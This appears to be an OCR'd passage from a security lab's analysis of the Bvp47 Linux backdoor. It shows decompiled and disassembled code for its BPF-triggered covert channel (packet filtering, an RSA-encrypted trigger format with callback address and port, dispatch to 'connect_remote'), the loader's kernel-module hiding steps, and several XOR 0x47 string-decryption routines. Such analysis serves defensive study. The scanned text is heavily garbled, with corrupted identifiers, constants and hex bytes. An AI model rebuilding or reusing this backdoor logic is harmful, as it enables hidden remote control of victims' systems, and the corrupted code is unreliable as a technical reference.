1. In the function sec_f 9b510b03, dewdrop uses the select model to process the corresponding data
packets;

1 while ( g_flag_baZbadsd == 1 )

if (w6 ==1)
{
= @;
while ( Isec_f_cd57dSdc_apply_bpf_filter((int)xx, (int)bpf_program) )
slesp(66u);
memset(&readfds, @, sizeof(r dfds));
memset|&ex tfds, @, sizeof(exceptfds));
timeout.tv_usec = 8;
= @;
= 9;

for ( timeout.tv_sec = 68; xx[8] > vi; ++vl )

iF ( xxf2 *vi+ 2] > vE )
= xx[2 * v1 + 2];

_bit:estancsnt(&- d I .__Fds_bits[( igned int)xx[2 * vi + 2] >> 5], xx[2 * vi + 2] & éxiF);
_bittestandset(Bexcept .__fds_bits[{uns ed int)xx[2 * + 2] » 5], xx[2 * + 2] & 8x1F);
3
= select(vd + 1, &readfds, 8, & F s, &ti it} /) selectMiGEE
if(wsa)
{
for ( i =@; vB8 >= i B& v9 > 8; ++i )
{
& 8x1F;
if ( _bittest(&readfds._ fds bits[i >> §], v3) )
{
--v9;
andle = {pcap_x M_5c220551(xx, 1);
1 { lhand
|| libpcap_pcap_next_ex(*handle, (pca kthdr **)&pkt_header, (ch JEpkt_data) I= 1
| tpkt_hea
| 1p jata )
continue;
4 = f_21cede2_getLinkType{(pcap_x *)handle);
sec_f_6a42faco_allinone((c **)pkt_data, (pcap_pkthdr **Jpkt_header, va4);// HENIEE
}
if ( _bittest(Bexceptfds._ fds_bits[i > 5], v3) )
{
=1;
}
]
}
if ( (({unsigned ntg8) | ((unsigned int)++ >exiD)) & 1) 1=0 )
{

£763d0al(xx);
goto LABEL_2;
}

return £763deal(xx);
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2. sec_f _6a42f4c9_allinone executes the pseudo code as follows

lint _ cdecl sec_f 6a42f4c9_allinone(char **pkt_data, pcap_pkthdr **pkt_header, _ int16 type)

3 char v4; // al

4| char v5; // al

5 int v6; [/ [esp+1Ch] [ebp-2Ch]

6 pkt_info s[2]; // [esp+26h] [ebp-28h] BYREF
vt

8

v6 = =13
b 9 if ( pkt_header[2] == pkt_header[3] )
{

-
[
[

sys_memset(s, @, @xCu);

v4d = *((_BYTE *)pkt_data + (unsigned _ int16)type);
if ( v4 == Bx45 )

14 {

- -
=
w

-
=
wn

v5 = f_838680f@_another_filter('\x82', (unsigned int *)((char *)pkt_data + (unsigned _ intlé)type + 16));
16 ¥

17 else

18 {

19 v = -1;

20 if ( (v4 & @xFo) == ox60 ) /1 R Nipve i FALER,

goto LABEL_2;

22 v5 = f_e3se8efe_another_filter(@xA, (unsigned int *)((char *)pkt_data + (unsigned __intl16)type + 24));

- www
)
=

-
(SN
5 W
< e

6 = -1;
if ( vs )

-
KN
o n
e

b 27| if ( sec_decode_packet((char *)pkt_data, (int)pkt_header[2], (unsigned __intl16)type, s) )// EHEH EiexseliEa
28 {

29LABEL_12:

30 V6 = -1;

31 goto LABEL_2;

-

-
w
w

}
if ( s[@].cmd_type == 1)
{

-
w
w
<

)

= aeba335b_send_email((char *)s);

-
w
=]
[

-

( s[@].cmd_type != 4 )
goto LABEL_12;
v6 = 72¢f5a31_connect_remote(s);

- -
B
= ®

42 3
43 }
44 }
45LABEL_2:
bas  if ( s[@].buffer )
47
b 48 sub _8eeaD3a(s[e].buffer);
b 49 s[@].buffer = @;

e }
#51 return v6;
52}
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3. The decryption of the payload packet starts in sec_decode_packet, which involves a deformed RSA
decryption algorithm.

33| 1T ( type + 26 > (unsigned Lnt)pKt_len }
34 goto error;

35| va = 2;

36| v5 = pkt_data[type];

37| if ( v5 != @x45 )

38 {

39 va = 18;

40 if ( (v5 & @xF@) == 96 ) /! BRI T IPVE
41 goto error;

42

43| sys_memmove();

44| ve = _byteswap_ushort(last_six_bytes_8) ~ OXE6CF;

45| LOWORD{last_six_bytes 8) = vé6;

46| last_six _bytes_2 = _byteswap_ushort(last_six_bytes_2) ~ ©xSD6A;
47| v7 = type + v6;

48| v8 = v7;

49, if ( v4 == 2 &% pkt_data[type + 9] == 6 )

se| {

51 v28 = pkt_data[type + 32];

52| 3

53| else

54|

55 if ( v4 != 10 || pkt_data[type + 6] !=6 )

56 goto LABEL_6;

57 v20 = pkt_data[type + @x34];

58}

59| v8 = (unsigned __int16)(v7 + (v28 >> 2) - 28);

60|LABEL_6:

61f if ( v8 <= pkt_len - 6 && (sys_memmove(), vil = _byteswap_ushort(v31), v31 = v11l, last_six_bytes 2 == vi1)
62 || (v8 = (unsigned _ int16)(pkt_len - last_six bytes @), v8 <= pkt_len - 6)

63 && (sys_memmove(), v9 = _byteswap_ushort(v31l), v31 = v9, last_six bytes 2 == v9) )
64, {

65 HIWORD(last_six_bytes_8) = v31 ~ _byteswap_ushort(HIWORD(last_six_bytes_@));
66 if ( v8 + HIWORD(last_six_bytes_@) + 6 <= pkt_len )

67 {

68 sys_memmove();

69 packet_process_decode(key, (BYTE *)ret, g_ebx_exeeee);
70 if ( lret[@] && ret[1] == 2 )

71

72 vi2 = 2;

73 while ( ret[vi12] )

74

75 if ( (unsigned int)++v12 > @x7F )
76 goto error;

i }

78 vi3 = 128 - (vi2 + 1);

79 sys_memmove();

80 if (vi3 > 7))

81 {

82 sys_memmove();

83 v14 = HIWORD{xx);

84 HIWORD(xx) = @;

85 LODWORD(v15) = (unsigned __ int8)vi14;
86 HIDWORD(v15) = HIBYTE(v14);

]7 1 ODWORN{v15Y = ( NWORNYVIG € R:
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@l Data Format and Encryption Algorithm of BPF

Covert Communication

1. The payload packet format of the dewrops v3 is as follow:

struct trigger_data w3 {
unsigned short trigger_hdr;
union {

struct {
unsigned
unsigned
unsigned
unsigned
unsigned

¥ ish_callback;

callback_addr;
callback_port;
timestamp;
timeskew;
trigger_addr;

unsigned char reserve[ 8x80];

Yomd ;

unsigned short checkd;

unsigned short checkd;

unsigned short check?2;
__ attribute ({({packed}) ;

2. The payload packet process for dewdrop in tipoff is as follow

int __cdecl tipoff_crypt_main(BYTE *buf, int size, __intlé start, __

unsigned int v5 I e

int 44; // ebx
6 unsigned _ int16 index; // ax
7| unsigned _int16 vo; [/ ax
8 BYTE *v1; // ecx
ol unsigned int 1; .l')’ edx

tp ', .U [esp+

=d[2]; .l” [

1nt15 gcnd thr‘c, r’.f

uns: ignl:d

f C
int16 gend nordi, .n’

intlé size_, BYTE *info)

14 unslgngd
15 int1 i
19| pos = @}
28( if ( (unsigned int)size <= @87 || (unsigned int){*({_DWORD *}info + 1) + BxB) > @xBe )
2 return -1;
5 = time(@);
srand( 3 H

a;
tipoff_gen_rand2();

_byteswap_ushort{*({_DWORD *)info + 1));
30
1 = tipoff_makeHeader((BYTE *)reversed, 8u, 0},
ipoff_makeHeader (*{{BYTE **)info + 2), *((_DWORD *}info + 1), index);

37| end_where = _byteswap_ushort

38| for { i = 2; 77 - *((_D =)

gl

40 s ] = (unst

41 H

432 +1;

43

44

4 E = 8;

a5 r1pohc S s (R S sasl s Tav

47| tipoff_sys_memmov(B&srcBin[pos + s], ({LL *)}info + 2), *((_DWORD *)info
EE] tlpoff tmgger{(ﬁ E '}--\:-.- (e *)a in, Bpnvatexey},
49| pos = {{ur . ta)start << 81 | ltIBvTE( 3:

58 tiDOH' _SYys_| l'cmncw('.

» Bpos, 2u);

tipoff_sys_memmov
t * (*((_WORD *}info

1= (u
] r1poff sys_s nenmov(&
56 return 8;
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int) )tipoff_gen_randl)(via,

A nxfr.cr) > 8) | ({{uns

+ 1))

igned ntB)size_~ mrr) €< 8},
r + 2) + lBJ) £33 BJ I C{u 8
rt oA eanen) > 8) | (((uw st

i) X @xFFu + 1;

art & me) L4 8],

(start » (info[4] + 18)) << 8);
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3. RSA data encryption in the payload packet

1fint _ cdecl tipoff_trigger(BYTE *srcBin, BYTE *dstBin, BYTE *privateKey)
2{

3| unsigned int v3; // eax

4| unsigned int v4; // edx

5

6| sub_804D48@((int)srcBin, ©@x80);

7| w3 = *((_DWORD *)srcBin + ©Ox1F);

8 v4 = *((_DWORD *)privateKey + Ox1F);

9| Aif ( w3 >= v4 )

10 *((_DWORD *)srcBin + 31) = v3 - v4;

11| tipoff_rsa_core( // RSA encryption
12 (int)srcBin,

13 ox20,

14 (int)(privatekey + @x8e),

15 0x20,

16 (int)privateKey,

17 ox20,

18 (int)(privatekey + @xiee),

19 ex21,

20 (int)dstBin,

21 byte 8058660);
22| return sub_8@4D4g8e((int)dstBin, @x8@);
23}

Beijing Qi An Pangu Laboratory Technology Co., Ltd | www.pangulab.cn

25



5. Technical Details of
Bvp47 loader

The entry function diagram of the loader module is as follows, which involves following operations:

N

. Check if the runtime environment is normal;

. Read the payload at the end of the file;

. Map and verify the payload;

. Decrypt the payload, if necessary;

. Decompress the payload, if necessary;

. Load the kernel module;

. Call notification to hide the ELF file header of the kernel module;

. Fork executes the dewrops module backdoor;

© 00 N O O b~ W N

. Fork executes the backdoor of the suctionschar_agent module;

o |
PR
=
. B
?
e e S e 0 s e '.;'—T—T
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W Character Encryption Function
In the sample analysis, the first thing need to deal with is a series of string encryption functions, a total of 8.

1. XOR 0x47 function type 1:

LOAD: 8885FB98 ; int __cdecl serial_bind_@x4c5c8784_xcode({char *dst, char *src)
LOAD: 8885FB98 serial_bind_8x4c5c8784_xcode proc near ; CODE XREF: serial_str_filesys_admr+18ETp
LOAD: 8885FB98 ; serial_str_filesys_admr+136Tp ...
LOAD: 9BB5FBE9E

LOAD: 9BB5FB9E dst = dword ptr B8

LOWD: 9BB5FB9E sre = dword ptr 8Ch

LOAD: 9BO5FB98

LOAD: 2885FB98 55 push abp

LOAD:9BO5FBI1 BY &1 60 20 28 mov ecx, 1

LOAD:B885FB96 A9 ES mov ebp, esp

LOAD: @BO5FBI8 57 push edi

LOAD:@885FBO0 BB 7D AC mov edi, [ebp+sre]

LOAD: 2885FB9C 56 push esi

LOAD: @885FBID BB 75 88 mov esi, [ebp+dst]

LOAD: 2885FBAR 53 push ebx

LOAD: @885FBAL &F B6 1F movzx  ebx, byte ptr [edi]

LOAD: @885FBA4 BD 74 26 88 lea esi, [esi+d]

LOAD: 8BBSFBAB

LOAD: BBASFBAR loc_8ASFBAB: ; CODE ¥REF: serial_bind_@x4c5c0784_xcode+3845
LOAD: @885FBAR OF BE 84 BF movzx  eax, byte ptr [edisecx]

LOAD: 885FBAC AG C2 mov edx, eax

LOAD:B8O5FBAE 83 F2 47 xor edx, 47h ; B LAxor 8x47
LOAD:2885FBB1 31 DA xor edx, ebx

LOAD:2885FBB3 @1 C3 add ebx, eax

LOAD: 2885FBBS 31 CA xor edx, ecx

LOAD: @885FBBT 88 54 8E FF mov [esi+ecx-1], dl

LOAD: @BO5FBBE 83 C1 @1 add acx, 1

LOAD:@BB5FBBE 84 D2 test d1, dl

LOAD: @BO5FBCE 75 E6 jnz short loc_B85FBAS

LOAD:B885FBC2 AG F@ mov eax, esi

LOAD: 2885FBCA 5B pop ebx

LOAD: 885FBCS SE pop esi

LOAD: @BASFBCE 5F pop edi

LOAD: 885FBCT 50 pop abp

LOAD: @885FBCE €3 retn

LOAD: 885FBCA serial_bind_8x4c5c8784_xcode endp

LOAD: 8BB5SFBCE

2. XOR 0x47 function type 2:

LOAD : 8885FBDS 3 int __cdecl serial_bind_@xaBal6d65_xcode(char *dst, char *src, int length)
LOAD: 8885FBD8 serial_bind_8xaBal6dé5_xcode proc near ; CODE XREF: serial mkstemps+22Tp
LOAD :8885F8D8 ; serial_check_root+421p ...
LOAD: @E8@5FEDR
LOAD: @E25FBDE var_18 = dword ptr -18h
LOAD:@8@5FBDS buffer = dword ptr &
LOAD : 88@5FBDR length = dword ptr @ch
LOAD : @8@5FBDA key = byte ptr 18h
LOAD:@805FBDS
LOAD:@B@5FBDD 55 push ebp
LOAD: @8@5FBD1 89 ES mov ebp, esp
LOAD:@885FBD3 57 push edi
LOAD:8885FBD4 56 push esi
LOAD:@8@5FBDS 53 push ebx
LOAD:@8085FBD6 83 EC &4 sub esp, 4
LOAD: 6B@5FBDY 8B 45 18 mov eax, dword ptr [ebpskey]
LOAD: @885FBDC 8B 7D 8C mov edi, [ebp+length]
LOAD: @8@5FBDF 8B 75 &8 mov esi, [ebp+buffer]
LOAD:@8@5FBE2 83 (@ 81 add eax, 1
LOAD:@8@5FBES 83 FB 81 cmp eax, 1
LOAD:@885FBEB @F BE 1F movzx  ebx, byte ptr [edi]
LOAD: @8@5FBEB &9 45 F@ mov [ebp+var_18], eax
LOAD:@8@5FBEE 756 23 jbe short loc_B@SFC13
LOAD:9E@SFBFE BA 21 20 00 o0 mov edx, 1
LOAD: @8@5FBF5 8D 76 8@ lea esi, [esi+d]
LOAD:88@5FBFS8
LOAD: @8@5FBFB loc_SBSFEFS: ; CODE XREF: serial bind_@xaBal5de5_xcode+dlij
LOAD:@805FBFE 8F BS @C 17 movzx  ecx, byte ptr [edi+edx]
LOAD:@8@5FBFC =0 (8 mov eax, ecx
LOAD: @8@5FBFE 83 F@ 47 xor eax, 47h ; wor exa7E®2 |
LOAD:@8@5FCe1 31 D2 xor eax, ebx
LOAD:@885FC@3 81 C8 add ebx, ecx
LOAD:@885FCE5 31 D@ xor eax, edx
LOAD: @8@5FC@7 88 44 16 FF mov [esi+edx-1], al
LOAD:@BR5FCOB 83 C2 81 add edx, 1
LOAD:@8B5FCRE 3B 55 F@ cmp edx, [ebp+var_18]
LOAD:@BBSFC11 72 ES b short loc_S@SFBFE
LOAD:@885FC13
LOAD: @8RBSFC13 loc_8@5FC13: ; CODE XREF: serial_bind_@xaBaledes_xcode+lEt]
LOAD:@885FC13 83 C4 84 add esp, 4
LOAD:@885FC16 &9 F@ mow eax, esi
LOAD: B8B5FC1B SB pop ebx
LOAD:@885FC19 SE pop esi
Pop edi
pop abp

ret
serial_bind_8xaBalédes_xcode endp
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3. Variable order encryption function:

LOAD:@805FC20 ; int __cdecl serial_bind_oxebe68e3a_xcode(char *buffer, int length, unsigned __int8 key)
LOAD:8805FC20 serial_bind_exebe6se3a_xcode proc near ; DATA XREF: LOAD:e8e639Felo
LOAD:@885FC28

LOAD:0805FC20 buffer = dword ptr 8

LOAD:8805FC20 length = dword ptr ecCh

LOAD:9805FC20 arg_8 = byte ptr 18h

LOAD:8805FC20

LOAD:@805FC28 55 push ebp

LOAD:9805FC21 89 ES mov ebp, esp

LOAD:8885FC23 8B 45 aC mov. eax, [ebp+length]

LOAD:@885FC26 57 push edi

LOAD:8805FC27 BF B6 7D 1@ movzx edi, [ebp+arg 8]

LOAD:@805FC2B 56 push esi

LOAD:0805FC2C 8B 75 08 mov esi, [ebp+buffer]

LOAD:8885FC2F 53 push ebx

LOAD:@805FC30 85 C@ test eax, eax

LOAD:@885FC32 74 1D jz short loc_8@5FC51

LOAD:@885FC34 31 D2 xor edx, edx

LOAD:0865FC36 31 DB xor ebx, ebx

LOAD:@805FC38

LOAD:9805FC38 loc_8@5FC38: ; CODE XREF: serial_bind_ox@be6883a_xcode+2Fij
LOAD:8805FC38 BF B6 BC 16 movzx ecx, byte ptr [esi+edx]

LOAD:@805FC3C 89 F8 mov eax, edi

LOAD:@805FC3E 31 C3 Xor eax, ecx |

LOAD:@885FC48 31 D8 xor eax, ebx

LOAD:@805FC42 01 CB add ebx, ecx

LOAD:@885FC44 31 DB xor eax, edx

LOAD:0805FC46 88 04 16 mov [esi+edx], al

LOAD:@8@5FC49 83 (2 81 add edx, 1

LOAD:@8@5FCAC 39 55 OC cmp [ebp+length], edx

LOAD:@885FCAF 77 E7 ja short loc_865FC38

LOAD:8805FC51

LOAD: 0805FC51 loc_805FC51: ; CODE XREF: serial_bind_0x@besse3a_xcode+121]
LOAD:@805FC51 89 F@ mov eax, esi

LOAD:@8@5FC53 5B pop ebx

LOAD:@805FC54 SE pop esi

LOAD:@885FC55 SF pop edi

LOAD:@805FC56 5D pop ebp

LOAD:@805FC57 C3

LOAD:@805FC57 serial_bind_ox0b@6803a_xcode endp

1 NAR-ORAEEFST

4. XOR 0x47 function type 3:

LOAD : 9805FC60 ; int __cdecl serial_bind_ex4743c911_xor(char *buf, int len)
LOAD : 8885FC68 serial_bind 8x4743c¢911_xor proc near 3 CODE XREF: serial bind_exdleb34ee_decode+136Tp
LOAD : 0885FC60 ; serial_bvp+37tp
LOAD :0805FCE0 ; DATA XREF:
LOAD : 0805FCE0

LOAD : 9805FC60 buf = dword ptr 8

LOAD : @805FC68 len = dword ptr @cCh

LOAD : 0885FC60

LOAD :0B@5FCE0 55 push ebp

“|LOAD:@805FC61 89 ES mov ebp, esp

LOAD:@805FC63 57 push edi

“|LOAD:@805FC64 8B 7D ©C mov edi, [ebp+len]

LOAD :0805FC67 56 push esi

LOAD:@805FC68 8B 75 08 mov esi, [ebp+buf]

LOAD:B805FC6B 53 push ebx

LOAD :©805FC6C 85 FF test edi, edi

LOAD:@805FC6E 74 21 jz short loc_8@5FC9l

LOAD:0805FC70 31 DB xor ebx, ebx

LOAD:0805FC72 31 D2 xor edx, edx

LOAD:®805FC74 8D 74 26 @ lea esi, [esi+0]

LOAD : 0805FC78

LOAD :@B@5FC78 loc_B8@5SFC78: ; CODE XREF: serial_bind_@x4743c¢911_xor+2Flj
LOAD:0805FC78 @F B6 94 16 movzx eax, byte ptr [esi+edx]

LOAD :8805FC7C 89 C1 mov ecx, eax

LOAD :@805FC7E 83 F1 47 xor ecx, 47h 3 Xor @x47
LOAD:©805FC81 31 D9 xor ecx, ebx

“|LOAD:@805FC83 @1 C3 add ebx, eax

*|LoaD: @8B5FC8S 31 D1 xor ecx, edx

“|LOAD:8805FC87 88 BC 16 mov [esi+edx], ¢l

LOAD:©805FC8A 83 C2 @1 add edx, 1

“|LOAD:@805FC8D 39 D7 cmp edi, edx

LOAD :0805FC8F 77 E7 ja short loc_8@5FC78

LOAD : @805FC91

LOAD : @805FC91 loc_8@5FC91: ; CODE XREF: serial bind_©x4743c911 xor+Et1j
*|LOAD:@8@5FC91 89 F@ mov eax, esi

LOAD:@805FC93 5B pop ebx

LOAD:@805FC94 SE pop esi

“|LOAD:@8B5FC95 5F pop edi

LOAD:©805FC96 5D pop ebp

I NAN*ARACEFra7 3 ratn
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5. XOR 0x47 type 4:

LOAD: BEBSFCAB ; int __cdecl serial_bind_@x9faldbaé_xcode(char *buffer, int length, unsigned __int8 key)
LOAD: 88A5FCAB serial_bind_@x9faldba6_xcode proc near ; DATA XREF: LOAD:@88539Bdic
LOAD: 08@5FCAR

LOAD: @885FCAR buffer = dword ptr B8

LOAD: 8805FCAR length = dword ptr @ch

LOAD: B8BSFCAD key = byte ptr 12h

LOAD: @885FCAR

LOAD: B885FCAR 55 push ebp

LOAD:@885FCAL BS &1 ©0 00 20 mav ecx, 1

LOAD: BBASFCAE B0 ES maw ebp, esp

LOAD: 8885FCAR 56 push esi

LOAD:@8B5FCAS BB 45 88 maw eax, [ebpsbuffer]
LOAD:@885FCAC 53 push ebx

LOAD:88@5FCAD BF B6 SD 18 movzx  ebx, [ebp+key]

LOAD: @BOSFCB1 8B 75 OC mov esi, [ebptlength]
LOAD:9885FCB4 83 F3 47 xor ebx, 47h

LOAD:@885FCB7 B8 18 mov [eax], bl

LOAD: 98B5FCES BD B4 26 00 @0 68 @9 lea esi, [esi+e]

LOAD: 8B85FCCE

LOAD: 8885FCCR loc_s@sFcce: ; CODE XREF: serial_bind_ex9faldbaé_xcode+39.]
LOAD:B885FCCR BF B6 54 @E FF movzx  edx, byte ptr [esivecx-1]
LOAD: @805FCCS 31 DA xor edx, ebx

LOAD: 88BSFCCT 83 F2 47 xor edx, 47h |
LOAD:@885FCCA 31 CA xor edx, ecx

LOAD:@8B5FCCC 88 14 @8 mov [eax+ecx], dl

LOAD: @805FCCF 83 C1 @l add ecy, 1

LOAD:@885FCD2 81 D3 add ebx, edx

LOAD: @8@SFCD4 88 7C @E FE @@ cmp byte ptr [esitecx-2], @
LOAD:@B@5FCDS 75 ES nz short loc_885FCCE

LOAD: @885FCDE SB pop ebx

LOAD: @885FCDC SE pop esi

LOAD: 88A5FCOD 50 pop ebp

LOAD: @885FCDE C3 retn

LOAD: 8885FCDE serial_bind_@x9faldbas_xcode endp

6. XOR 0x47

_0OAD:B8B5FCER 3 _BYTE *__cdecl serial_bind_8xccc17976_xcode(char *src, char *dst, int length, unsigned __int8 key)
-0AD:BBB5FCE@ serial_bind_@xcccl7976_xcode proc near ; DATA XREF: LOAD:@80639C8lo
-OAD:B805FCE®

_0AD:BBB5FCER src = dword ptr 8

-0AD:BB@5FCE@ dst = dword ptr 8Ch

.0AD:B8@5FCE@ length = dword ptr 18h

_0AD:BBB5FCEQ key = byte ptr 1ah

-0AD:B885FCE@

_0AD:©885FCE@ 55 push ebp

_OAD:@B@5FCE1 89 ES mov ebp, esp

-OAD:@805FCE3 57 push edi

_0AD:@805FCE4 8B 45 08 mov eax, [ebp+src]

-OAD:B8@5FCE7 56 push esi

+B805FCE8 8B 7D oC mov edi, [ebp+dst]
BBSFCEB 53 push ebx

@5FCEC OF B6 5D 14 movzx  ebx, [ebp+key]
+@805FCF@ 83 F3 47 xor ebx, 47h
_0AD:B8B5FCF3 B8 18 mov [eax], bl

G5FCF5 8B 75 10 mov esi, [ebp+length]

*@BO5FCF8 83 C6 @1 add esi, 1
-0AD:@805FCFB B3 FE @1 cmp esi, 1
-0AD:B8B5FCFE 76 20 be short loc_8@5FD2@
-OAD:BB8B5FD@@ B9 @1 @0 6@ €0 mov ecx, 1
-0AD:@885FDRS5 8D 76 0@ lea esi, [esi+0]
_0AD:B8885FDR8
_OAD:6805FDAS loc_865FDas: ; CODE XREF: serial_bind_@xccc17976_xcode+3EL]
.0AD:0©805FD@8 @F B6 54 @F FF movzx  edx, byte ptr [edi+ecx-1]
_0AD:@8@5FDED 31 DA xar edx, ebx
-OAD:@805FDAF 83 F2 47 xor edx, 47h |
.0AD:©805FD12 31 CA xor edx, ecx
_0AD:@8@5FD14 88 14 @8 mav [eax+ecx], dl

+@885FD17 83 C1 81 add ecx, 1
©BOSFD1A 01 D3 add ebx, edx
@5FD1C 39 F1 cmp ecx, esi

+@805FD1E 72 E8 b short loc_8@5FD0S
-0AD:@805FD2@
_0AD:B885FD2@ loc_8@5FD2a: ; CODE XREF: serial_bind_@xccc17976_xcode+1ET]
_OAD:@805FD20 5B pop ebx
-0AD:88@5FD21 SE pop esi
-0AD:B885FD22 5F pop edi
_OAD:8885FD23 5D pop ebp
-OAD:@8@5FD24 C3 retn
_OAD:@B@5FD24 serial_bind_@xccc17976_xcode endp
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7. Encryption function

LOAD: B8B5FD38 ; int __cdecl serial_bind_exfafledfl_xcode(char *buffer, int length, unsigned __int8 key)
LOAD: 8805FD38 serial_bind_exfafledfl_xcode proc near ; DATA XREF: LOAD:@BR639A8lc
LOAD: @8@5FD32
LOAD: BEB5FD38 buffer = dword ptr 8
LOAD: @805FD38 length = dword ptr  ech
LOAD: BEASFD38 key = byte ptr 18h
LOAD: @8R5FD32
 LOAD:@8@5FD3@ 55 push ebp
* LOAD:@8@5FD31 89 ES mov ebp, esp
* LOAD:@B@5FD33 57 push edi
LOAD:@805FD34 8B 45 @8 mov eax, [ebpsbuffer]
© LOAD:BBOSFD3T 56 push esi
* LOAD:@8@5FD38 88 75 oC mev esi, [ebp+length]
LOAD: B8B5FD3B 53 push ebx
“ LOAD:@B8O5FD3C @F B6 7D 18 movzx edi, [ebp+key]
“ LOAD:@8O5FD4@ 85 F6 test esi, esi
LOAD:@8B5FD42 74 19 T short loc_8@5FDS0
- LOAD:BB@5FD44 31 C9 xor ecx, ecx |
“ LOAD:@8O5FD46 31 DB xor ebx, ebx
LOAD: B8B5FDAB
LOAD: @805FD4B loc_S8@5FDA8: ; CODE XREF: serial bind_exfafledfl_scode+2Blj
' LOAD:@8RSFD48 B9 FA mav edx, edi
LOAD: @BOSFDAA 32 14 08 xor dl, [eax+ecx]
“ LOAD:@8@5FD4AD 31 DA xor edx, ebx
© LOAD:BSOSFD4F 31 CA xor edx, ecx
* LOAD:BB@SFDS1 BE 14 @8 mov [eax+ecx], dl
* LOAD:@8O5FDS4 83 C1 81 add ecx, 1
 LOAD:@8B5FD57 81 D3 add ebx, edx
° LOAD:@8O5FD59 39 CE cmp esi, ecx
' LOAD:@885FD5B 77 EB ja short loc_885FD48
LOAD : @B@5FDSD
LOAD: @8@5FDSD loc_8OSFD5D: ; CODE XREF: serial bind_éxfafledfl_xcode+12t]
° LOAD:@8@5FD5D 5B pep ebx
LOAD : 08@5FDSE SE pop esi
* LOAD:@B@5FDSF SF pop edi
© LOAD: B8@5FDER 5D pop ebp
LOAD:08@5FD61 C3 retn
LOAD: B805FDEL serial_bind_oxfafledfl_xcode endp
LOAD: B8B5FDE1
LOAD: B885FD61 j =e=messesaas -
“|LOAD:@8B5FD62 BD B4 26 @0 @0 90 88 8D BC 27 00 0o+ align 18h

8. XOR 0x47 function type 5

-OAD:8BO5FDTE
-OAD: 8885FDTE
BEASFDTR
BEA5FD7Q
BEB5FD7@
BEESFD7R
BEB5FD7e
B885FDTE
BBA5FDTE
BBASFDTL
BEOSFDT3
BEB5FD74
BRESFDTT
BEA5FD7E
BBOSFDTE
BEA5SFDTD
BEB5FD7F
BEOSFDBL
B885FDE3
BEO5FD84
@BB5FDEE
BBA5SFDB8
BEO5SFDE3
B885FDEC
BEESFDBE
B885FD91
B8O5FD93
BEA5FDI6
BBASFDIY
BEBSFDOE
BE5FDID
BEBSFDIF
B8B5FDIF
BBO5FDIF
BEASFDAR
BEB5FDAL
BEASFDAZ
K B885FDA2
-OAD:8885FDAZ

A

g
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55
89
56
88
53
8B
B5
74
3
31
a8
BD

aF
31
83
31
BB
83
a1
39
77

5B
SE
5D
€3

75

45
F&

s

T4

BE
DA
F2
ca
14
1
D3
CE
E9

5 89

14 @8

47

B8
a1

3 int _ cdecl serial_bind_@x4b369¥56_xcode(char *buffer, int length)
serial_bind_@x4b369f556_xcode proc near ; CODE XREF: serial_bind 8xdleb3dee_decode+1871p
; serial_bind_@xdleb3dee_decode+lEBTp ...

HX = dword ptr &

vy = dword ptr BCh
push ebp
mav ebp, esp
push esi
mav esi, [ebpeyy]
push ebx
mav eax, [ebpexx]
test esi, esi
Jz short loc_8@5FDOF
xor ebx, ebx
xor ecx, ecx
nap
lea esi, [esi+d]

loc_BO@SFDES: ; CODE XREF: serial_bind_ox4b369f56_xcode+204j

movzx  edx, byte ptr [eax+ecx]
ebx

xor edx,

xar edx, 47h |

xar edx, ecx

mav [eax+ecx], dl

add ecx, 1

add ebx, edx

cmp esi, ecx

ja short loc_885FDES
loc_B@5SFDSF: ; CODE XREF: serial_bind &x4b369F56_xcode+Di]

pop abx

pop esi

pop ebp

retn
serial bind @x4b369f56_xcode endp
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B Payload-Related Encryption Methods

There are five main decryption methods for the payload to be loaded.

Method 1

LOAD : 8804A2E8 ; int _ cdecl decode_callback_ti{int sysinfo, int payload, int i386, int tw, int bb, int cc)
LOAD :0804A2E8 decode_callback_t1 proc near ; DATA XREF: main+4B8lo
LOAD:@804A2EQ

LOAD:@804A2E8 aa = dword ptr -28h

LOAD: @804A2E8 sysinfo = dword ptr 8

LOAD:8804A2E8 payload = dword ptr @cCh

LOAD: 8BB4A2ER i3se = dword ptr 18h

LOAD:B804A2EQ tw = dword ptr 14h

LOAD : @804A2EQ bb = dword ptr 18h

LOAD :@884A2E8 cc = dword ptr 1Ch

LOAD : @804A2EQ

LOAD:@884A2E8 55 push ebp

LOAD:@804A2E1 89 ES mov ebp, esp

LOAD:@884A2E3 56 push esi

LOAD:B804A2E4 53 push ebx

LOAD:@804A2E5 83 EC 3@ sub esp, 36h

LOAD:@804A2ES 8B 45 18 mov eax, [ebp+i386]

LOAD:@804A2EB 8B 55 14 nov edx, [ebp+tu]

LOAD:@8@4A2EE 8D 75 D8 lea esi, [ebp+aal

LOAD:@804A2F1 8B 5D OC nov ebx, [ebp+payload]

LOAD:@804A2F4 C7 45 F4 FF FF FF FF mov [ebp+aa+1Ch], @FFFFFFFFh

LOAD:@804A2FB 89 45 E@ mov [ebp+aa+8], eax

LOAD:@804A2FE 8B 45 18 mov eax, [ebp+bb]

LOAD:@804A301 89 55 E4 mov [ebp+aa+8Ch], edx

LOAD:@804A304 8B 55 1C mov edx, [ebp+cc]

LOAD:B804A387 C7 45 FO @0 80 00 80 mov [ebp+aa+18h], @

LOAD:@804A30E 89 74 24 84 mov [esp+4], esi ; val

LOAD:@804A312 89 45 DB mov [ebp+aa], eax

LOAD:@804A315 89 55 DC mov [ebp+aa+a], edx

LOAD:@804A318 89 1C 24 mov [esp], ebx ; buf

LOAD:@804A31B E8 30 S5A 20 e call serial_bind_exdleb34ee_decode

LOAD:@884A320 3D 83 @1 80 o8 cmp eax, 183h

LOAD:8884A325 74 21 jz short loc_8@4A348

LOAD:@884A327

LOAD:@8084A327 loc_B884A327: ; CODE XREF: decode_callback_t1+724j
LOAD:@884A327 ; decode_callback_ti1+891j ...
LOAD:@884A327 8B 45 F4 mov eax, [ebp+aa+lCh]

LOAD:8804A32A 8D 58 FF lea edx, [eax-1]

LOAD:@804A32D 83 FA FD cmp edx, BFFFFFFFDh

LOAD:@804A330 77 88 ja short loc_804A33A

LOAD:@804A332 89 04 24 mov [esp], eax

LOAD:@804A335 E8 56 65 @1 @ call serial_bind_ex44611a64_free

LOAD:@804A33A

LOAD : @804A33A loc_8@4A33A: ; CODE XREF: decode_callback_t1+5@Tj
LOAD:@804A33A 83 C4 3@ add esp, 36h

LOAD:@8e4A33D 31 Ce xor eax, eax

LOAD:@804A33F SB pop ebx

LOAD:@8e4A348@ SE pop esi

LOAD:8804A341 5D pop ebp

LOAD:@8084A342 C3 retn

LOAD:88084A342 i TR e el S SIS e e S e s e R e B e e et e e i
LOAD:e804A343 9@ BD 74 26 oe align 8

LOAD:8884A348

